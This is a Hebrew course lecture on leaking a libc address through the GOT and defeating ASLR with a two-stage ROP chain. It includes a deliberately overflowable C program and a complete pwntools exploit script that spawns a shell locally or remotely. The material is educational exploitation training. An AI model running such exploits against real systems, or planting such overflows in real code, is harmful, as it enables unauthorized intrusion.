4.4 דליפת libc ועקיפת ASLR הרצאה
בשיעור על ret2libc קלאסי (4.2) קראנו ל-system("/bin/sh") בתוך libc, אבל רימינו: הנחנו שאנחנו יודעים מראש את הכתובת של system. זה נכון רק כש-ASLR כבוי. בעולם האמיתי ASLR דולק, וכתובת הבסיס של libc משתנה בכל הרצה. בשיעור הזה נלמד את הטכניקה שפותרת בדיוק את זה, וזו סוסת העבודה של כל pwn מודרני: מדליפים בזמן ריצה כתובת אמיתית של פונקציית libc, מחשבים ממנה את בסיס libc, ואז שולחים chain שנייה שקוראת ל-system בכתובות שכבר גילינו. התוצאה היא עקיפה מלאה של ASLR על בינארי 64 ביט עם NX. זה השיעור שבו הכל מתחבר: GOT ו-PLT מ-4.1, ret2libc מ-4.2, והגאדג'טים מ-4.3.
הבעיה - ASLR מזיז את libc בכל הרצה¶
נתחיל מלראות את הבעיה בעיניים. הריצו בינארי דינמי כלשהו ותסתכלו איפה libc ממופה בזיכרון, פעמיים:
$ ldd ./leak | grep libc
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3a1c400000)
$ ldd ./leak | grep libc
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8e9d200000)
בסיס אחר בכל הרצה. אותו דבר נראה חי ב-/proc/<pid>/maps בזמן שהתהליך רץ. מנגנון ה-ASLR מערבב את הבסיס של libc, של המחסנית ושל ה-heap. אם ננסה לכתוב כתובת קבועה של system בROP chain, בהרצה הבאה הכתובת הזו כבר לא שם, והתוקפה תקרוס.
עכשיו הנה התובנה ששוברת את ההגנה: ASLR מזיז את הבסיס, אבל לא את המבנה הפנימי של libc. libc.so.6 היא קובץ אחד; כל הפונקציות בתוכו יושבות ב-offset קבוע מתחילת הקובץ. system תמיד נמצאת ב-offset קבוע מהבסיס, puts ב-offset קבוע אחר, המחרוזת /bin/sh ב-offset קבוע משלה. מה שמשתנה בין הרצה להרצה זה רק לאן הקובץ כולו נטען.
run A: run B:
libc base = 0x7f3a1c400000 libc base = 0x7f8e9d200000
+--------------------------+ +--------------------------+
| ... | | ... |
| puts (base + 0x80e50) | | puts (base + 0x80e50) | <-- same offset!
| system (base + 0x50d70) | | system (base + 0x50d70) | <-- same offset!
| "/bin/sh" (base+0x1d8678)| | "/bin/sh" (base+0x1d8678)| <-- same offset!
+--------------------------+ +--------------------------+
only the base moves, the offsets are fixed
המסקנה המעשית: אם נצליח לגלות בזמן ריצה ולו כתובת אמיתית אחת של פונקציית libc, נחסר ממנה את ה-offset הידוע שלה ונקבל את בסיס libc של ההרצה הנוכחית. משם נחשב את הכתובת של כל דבר אחר ב-libc. כל מה שצריך זה leak אחת.
הרעיון הגדול - leak בשני שלבים¶
הבעיה הלוגית: אנחנו צריכים כתובת שנודעת לנו רק בזמן ריצה, אבל את הpayload אנחנו שולחים לפני שהיא ידועה. הפתרון הוא לפצל את התקיפה לשני שלבים בתוך אותה הרצה:
stage 1 - leak:
a ROP chain that calls puts(GOT address) -> prints a real libc address
we read the address, compute the libc base
the chain returns to main so the vulnerability is available again
stage 2 - attack:
now the base is known. we send a second chain
that calls system("/bin/sh") at the addresses we computed
-> shell
התנאי ההכרחי לשיטה הזו: החולשה צריכה להיות ניתנת להגעה פעמיים. לרוב זה מושג בכך שאחרי שלב הleak מחזירים את הזרימה ל-main (או ישירות לפונקציה הvulnerable), כך שהיא רצה שוב ומאפשרת לנו לשלוח את הpayload השני. אם התוכנית מריצה לולאה שקוראת קלט שוב ושוב, עוד יותר קל.
לפני שנצלול, נצהיר במפורש על הנחות ההגנה של השיעור, כי הטכניקה תלויה בהן:
- הגנת NX פעילה - לכן ROP, לא shellcode.
- אין canary - הoverflow לא נתפסת בדרך להreturn address.
- הבינארי אינו PIE - כתובות ה-PLT, ה-GOT ו-
mainקבועות. זה קריטי לשלב 1, כי אנחנו משתמשים בהן בלי לדלוף אותן. - הגנת ASLR פעילה - רק libc מעורבבת. זה בדיוק התרחיש שהשיעור פותר.
מה קורה כשגם PIE דלוק ואז גם כתובות הבינארי אקראיות? אז צריך קודם leak נוספת של בסיס הבינארי עצמו. זה תרחיש מתקדם יותר שנגיע אליו בפרויקט הסיכום של הפרק (4.6). כאן נתמקד בבינארי לא PIE, שהוא המקרה הנפוץ ללימוד הטכניקה.
מאיפה מדליפים - GOT וPLT¶
נזכיר בקצרה את מה שראינו ב-4.1. בבינארי דינמי, קריאה לפונקציית libc עוברת דרך שני מבנים:
- טבלת ה-PLT היא קטע קוד קטן וקבוע בבינארי (
puts@plt) שמנתב את הקריאה. - טבלת ה-GOT היא טבלת מצביעים בזיכרון הכתיב. בכניסה
puts@gotנשמרת הכתובת האמיתית שלputsבתוך libc, אחרי שה-linker פתר אותה.
הנה הזהב: אחרי ש-puts נקראה לפחות פעם אחת, הכניסה puts@got מכילה את הכתובת האמיתית של puts בזמן ריצה - כלומר כתובת בתוך libc הממופה, כולל האקראיות של ASLR. אם נצליח לגרום לתוכנית להדפיס את שמונת הבתים שיושבים בכתובת puts@got, קיבלנו leak של כתובת libc.
וזה בדיוק מה ש-puts יודעת לעשות. אם נקרא ל-puts(puts@got), כלומר נעביר לה כארגומנט את הכתובת של הכניסה ב-GOT, היא תדפיס את הבתים ששם - שהם הכתובת האמיתית של puts. זו קריאת ROP קלאסית: הארגומנט הולך ל-rdi, נקפוץ ל-puts@plt.
puts@got holds: 90 78 56 34 12 7f 00 00 (little-endian of 0x00007f1234567890)
\_____________________/
puts(puts@got) prints these bytes up to the null
-> we read 6 bytes = 0x7f1234567890 = puts at runtime
הערה חשובה לגבי בחירת הכניסה שנדליף: היא חייבת להיות כבר פתורה. בקישור עצל (lazy binding, ברירת המחדל) הכניסה ב-GOT מכילה את הכתובת האמיתית רק אחרי הקריאה הראשונה לפונקציה; לפני כן היא מצביעה בחזרה ל-PLT resolver. לכן נדליף פונקציה שבטוח כבר נקראה - puts עצמה מצוינת, כי main השתמשה בה כדי להדפיס הנחיה. גם printf, read או __libc_start_main הן מטרות טובות.
ולגבי RELRO: אנחנו רק קוראים מה-GOT, לא כותבים אליו. לכן הleak עובדת בכל מצב RELRO, כולל Full RELRO. הגנת RELRO מונעת כתיבה ל-GOT, לא קריאה ממנו.
שלב 1 - בניית הleak chain¶
הchain פשוטה ומורכבת משלושה חלקים: טוענים ל-rdi את הכתובת puts@got, קופצים ל-puts@plt, ואז מחזירים את הזרימה ל-main.
low addresses (top of stack)
+----------------------------+
| padding - 72 bytes | <-- fills buf and saved rbp
+----------------------------+
| address of pop rdi ; ret | <-- the ret of vuln jumps here
+----------------------------+
| puts@got | <-- popped into rdi (the argument to puts)
+----------------------------+
| puts@plt | <-- puts runs, prints the libc address
+----------------------------+
| main | <-- after puts we return to main for round two
+----------------------------+
high addresses
בנייה ידנית ב-pwntools, כדי לראות בדיוק מה קורה:
from pwn import *
context.binary = elf = ELF('./leak')
pop_rdi = next(elf.search(asm('pop rdi; ret'), executable=True)) # or from ROPgadget
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
offset = 72
payload = flat({offset: [
pop_rdi, puts_got, # rdi = &puts@got
puts_plt, # puts(&puts@got) -> leaks the real address
main, # return to main
]})
בפועל נותנים ל-ROP לבנות את זה לבד, וזה נקי הרבה יותר:
rop = ROP(elf)
rop.call('puts', [elf.got['puts']]) # pwntools finds pop rdi ; ret on its own
rop.call('main') # return to main
log.info(rop.dump())
payload = flat({offset: rop.chain()})
קריאת הleak ופענוחה¶
אחרי ששולחים את הpayload, puts מדפיסה את הבתים של הכתובת ואז מוסיפה תו שורה חדשה. את זה קוראים עם recvline. שימו לב לשני עקרונות:
- כתובת libc ב-64 ביט היא בפועל 6 בתים משמעותיים; שני הבתים העליונים הם
0x0000.putsעוצרת בבית ה-null הראשון, אז נקבל בדיוק 6 בתים - מושלם. - צריך לרפד את 6 הבתים ל-8 לפני
u64. עושים זאת עםljust(8, b'\x00').
חישוב בסיס libc¶
עכשיו לחשבון הפשוט. הכתובת שדלפה שווה לבסיס libc ועוד ה-offset של puts בתוך libc:
ב-pwntools זה שורה אחת. טוענים את קובץ ה-libc של המטרה, ומציבים את הבסיס שחישבנו לתוך libc.address. מרגע זה pwntools מתקנן אוטומטית את כל הסמלים:
libc = ELF('./libc.so.6') # the target's libc
libc.address = leaked - libc.symbols['puts'] # libc base for this run
log.success('libc base = %#x', libc.address)
system = libc.symbols['system'] # already resolved to the real base
binsh = next(libc.search(b'/bin/sh\x00')) # the string is resolved too
בדיקת שפיות מהירה: בסיס libc תמיד aligned לעמוד זיכרון, כלומר שלוש הספרות ההקסדצימליות התחתונות שלו הן 000. אם חישבתם בסיס שנגמר במשהו אחר - טעיתם ב-offset של הפונקציה או ב-libc הלא נכון.
מזהים את גרסת ה-libc - libc database¶
יש כאן מוקש ענק שמפיל תלמידים: החישוב libc.address = leaked - libc.symbols['puts'] נכון רק אם libc.so.6 שאתם משתמשים בו הוא בדיוק אותה גרסה כמו זו שרצה על שרת המטרה. ל-offset של puts יש ערך אחר בין glibc 2.27 ל-2.31 ל-2.35. אם ה-offset של system שלכם לא תואם לזה של המטרה, הבסיס אולי נכון אבל הכתובת של system תהיה מוטעית ותקרסו.
כשעובדים מקומית זה לא בעיה - יש לכם את ה-libc. אבל מול שרת מרוחק, לרוב אין לכם את ה-libc שלו, רק את הleak. איך מזהים גרסה מדליפה?
הנה הטריק היפה: ASLR מערבב ברמת עמוד זיכרון (גודל עמוד 0x1000), כלומר הבסיס תמיד aligned ל-0x1000. מכאן ש-שלוש הספרות ההקסדצימליות התחתונות של כל סמל ב-libc קבועות לחלוטין, ללא תלות ב-ASLR. אם puts דלפה בכתובת 0x...890, אז ה-offset של puts בתוך libc נגמר ב-890 בכל גרסה שבה זה כך. שלוש הספרות התחתונות האלה הן טביעת אצבע לזיהוי הגרסה.
יש שני כלים לזה:
- האתר libc.rip - מכניסים אליו את הסמל וטביעת האצבע, למשל
puts = ...890וסמל שני כמוprintf = ...aa0, והוא מחזיר אילו גרסאות libc תואמות ומאפשר להוריד את ה-.soהמדויק. - כלי מקומי libc-database. משכפלים אותו, מריצים
./getפעם אחת כדי לאסוף גרסאות, ואז מחפשים:
$ ./find puts 890 printf aa0
ubuntu-glibc (libc6_2.31-0ubuntu9.9_amd64)
$ ./dump libc6_2.31-0ubuntu9.9_amd64 system # the offset of system in this version
ככל שתספקו יותר סמלים (שניים ומעלה) הזיהוי מדויק יותר. אחרי שזיהיתם, מורידים את קובץ ה-libc המדויק ומשתמשים בו בסקריפט. טיפ מעשי: כדי לבדוק מקומית מול ה-libc של המטרה, אפשר להריץ את הבינארי עם ה-libc וה-ld התואמים בעזרת patchelf --set-interpreter ו---replace-needed, או פשוט להצביע עם LD_PRELOAD. ל-pwntools יש גם קיצור נוח לזה:
שלב 2 - חזרה ותקיפה¶
בסוף שלב 1 החזרנו את הזרימה ל-main, אז vuln רצה שוב וממתינה לקלט. עכשיו בסיס libc ידוע, ואנחנו בונים chain שנייה קלאסית של ret2libc - בדיוק כמו ב-4.2, רק שהפעם הכתובות אמיתיות ומחושבות:
low addresses (top of stack)
+----------------------------+
| padding - 72 bytes |
+----------------------------+
| ret (stack alignment) | <-- moves rsp by 8, prevents a movaps crash
+----------------------------+
| pop rdi ; ret |
+----------------------------+
| address of "/bin/sh" in libc| <-- popped into rdi
+----------------------------+
| address of system in libc | <-- system("/bin/sh") -> shell
+----------------------------+
high addresses
זכרו את מלכודת ה-movaps מ-4.3 ומ-2.3: פונקציות libc כבדות כמו system קורסות אם rsp לא aligned ל-16 בתים. לכן אנחנו מוסיפים גאדג'ט ret בודד לפני הקריאה. ב-pwntools:
rop2 = ROP(libc) # now with libc.address set
rop2.raw(rop2.find_gadget(['ret'])[0]) # aligns to 16 bytes
rop2.call(libc.symbols['system'], [next(libc.search(b'/bin/sh\x00'))])
payload2 = flat({offset: rop2.chain()})
מכיוון שבסיס libc כבר ידוע, אפשר גם למשוך את הגאדג'טים (pop rdi ; ret) מתוך libc עצמה, שיש בה שפע כזה. חלופה מקוצרת ל-system היא one_gadget - כתובת אחת בתוך libc שמריצה execve("/bin/sh", 0, 0) בקפיצה בודדת, בלי לבנות ארגומנטים. את זה נלמד לעומק ב-4.5.
התוקפה המלאה - exploit מלא ומוער¶
נחבר הכל. הנה הבינארי הvulnerable לדוגמה שנעבוד איתו. שימו לב ש-main קוראת ל-vuln, וכש-vuln חוזרת ל-main (וזו חוזרת) אנחנו מקבלים הזדמנות שנייה לגלוש - וזה בדיוק מה שמאפשר את שני השלבים:
// leak.c
#include <stdio.h>
#include <unistd.h>
void vuln() {
char buf[64];
puts("overflow me:");
read(0, buf, 200); // 200 bytes into a 64-byte buffer - overflow
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
מקמפלים בינארי 64 ביט, לא PIE, בלי canary, עם NX (ברירת המחדל):
$ gcc -fno-stack-protector -no-pie -o leak leak.c
$ checksec --file=./leak
RELRO STACK CANARY NX PIE
Partial RELRO No canary NX enabled No PIE
ואת ASLR משאירים דלוק (זה כל הרעיון):
הנה הסקריפט המלא, שני השלבים בזרימה אחת:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./leak')
libc = ELF('./libc.so.6') # the target's libc (local or identified from the leak)
def conn():
if args.REMOTE:
return remote('chall.server', 1337)
return process('./leak')
offset = 72
# ========== stage 1: leak the address of puts from the GOT ==========
rop = ROP(elf)
rop.call('puts', [elf.got['puts']]) # puts(&puts@got) -> leaks a libc address
rop.call('main') # return to main for round two
log.info('leak chain:\n' + rop.dump())
payload = flat({offset: rop.chain()})
p = conn()
p.recvuntil(b'overflow me:\n')
p.sendline(payload)
leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success('puts @ %#x', leaked)
libc.address = leaked - libc.symbols['puts'] # libc base for this run
log.success('libc base @ %#x', libc.address)
assert libc.address & 0xfff == 0, 'base not page-aligned -> wrong libc?'
# ========== stage 2: system("/bin/sh") at the real addresses ==========
rop2 = ROP(libc)
binsh = next(libc.search(b'/bin/sh\x00'))
rop2.raw(rop2.find_gadget(['ret'])[0]) # aligns to 16 bytes (movaps)
rop2.call(libc.symbols['system'], [binsh])
log.info('exploit chain:\n' + rop2.dump())
payload2 = flat({offset: rop2.chain()})
p.recvuntil(b'overflow me:\n') # the second main prints the prompt again
p.sendline(payload2)
p.interactive()
מריצים מקומית (python3 exploit.py) ומקבלים shell, למרות ש-ASLR דלוק. מול שרת מוסיפים REMOTE. שווה לעצור ולהעריך את זה: בנינו תוקפה שעובדת על בינארי עם NX ו-ASLR פעילים, בלי לדעת מראש אף כתובת של libc. זה בדיוק דפוס העבודה של רוב אתגרי ה-pwn ה"אמצעיים".
מלכודות נפוצות וטיפים¶
- הכניסה שמדליפים חייבת להיות כבר פתורה. אם תדליפו כניסת GOT של פונקציה שעדיין לא נקראה (בקישור עצל), תקבלו כתובת שמצביעה בחזרה ל-PLT resolver ולא לתוך libc, והבסיס יצא שגוי. הדליפו
puts/printf/readשכבר רצו. - ה-libc חייב להיות מדויק. אם הבסיס יוצא aligned לעמוד (נגמר ב-
000) אבל ה-shell לא נפתח, סביר שה-libc אינו הגרסה של המטרה. זהו אותו עם libc.rip או libc-database לפי שלוש הספרות התחתונות של הleak. - הגנת Full RELRO לא מפריעה לleak. אנחנו קוראים מה-GOT, לא כותבים. RELRO חוסמת כתיבה בלבד.
- הגנת PIE משנה את התמונה. אם הבינארי PIE, גם
puts@plt,puts@gotו-mainאקראיים, וצריך קודם לדלוף את בסיס הבינארי (למשל דרך stack leak או כתובת קוד). התרחיש שלנו הוא לא PIE. - מלכודת ה-
movaps: אם שלב 2 קורס בתוך libc על הוראתmovaps, חסר alignment. הוסיפו גאדג'טretבודד לפניsystem. אם עדיין קורס, נסו להסיר אותו - לפעמים הalignment הפוך. - חזרה ל-
mainמול חזרה ל-vuln. שנינו עובדים. אם חזרה ל-mainמתנהגת מוזר (alignment), אפשר לחזור ישירות ל-vulnאו להוסיף גאדג'טretלפני הreturn address. - פענוח הleak: תמיד
strip()על תו השורה ו-ljust(8, b'\x00')לפניu64. אם במקרה נדיר יש בית0x00באמצע הכתובת,putsתיקטע מוקדם - אז הדליפו סמל אחר או השתמשו ב-writeבמקוםputs. - שיטת הקלט קובעת.
readקורא בתים גולמיים כולל0x00, אז כתובות עם בתים אפסיים בסדר. עםgets/scanf("%s")הקלט נקטע ב-null וברווח, וזה מסבך.
סיכום¶
- הגנת ASLR מזיזה רק את בסיס libc; ה-offsets בתוך libc קבועים. לכן leak אחת של כתובת libc אמיתית מספיקה כדי לחשב את הבסיס ואת כל שאר הכתובות.
- הטכניקה עובדת בשני שלבים באותה הרצה: שלב leak (מחשב בסיס וחוזר ל-main) ושלב תקיפה (קורא ל-system בכתובות הידועות). לכן צריך שהחולשה תהיה ניתנת להגעה פעמיים.
- מדליפים דרך ה-GOT:
puts(&puts@got)מדפיסה את הכתובת האמיתית שלputsבזמן ריצה. הכניסה חייבת להיות כבר פתורה, והleak עובדת גם ב-Full RELRO. - מחשבים
libc_base = leaked - libc.symbols['puts'], ואז ב-pwntools מציביםlibc.addressוכל הסמלים מתקננים לבד. - מזהים את גרסת ה-libc המדויקת מהleak לפי שלוש הספרות התחתונות (קבועות תחת ASLR) עם libc.rip או libc-database - קריטי מול שרת מרוחק.
- שלב 2 הוא ret2libc רגיל בכתובות מחושבות, עם גאדג'ט
retלalignment מפניmovaps. חלופה קצרה יותר היא one_gadget (4.5). - ההנחות: NX פעיל, בלי canary, בלי PIE, ASLR פעיל. עם PIE צריך leak נוספת של בסיס הבינארי (4.6).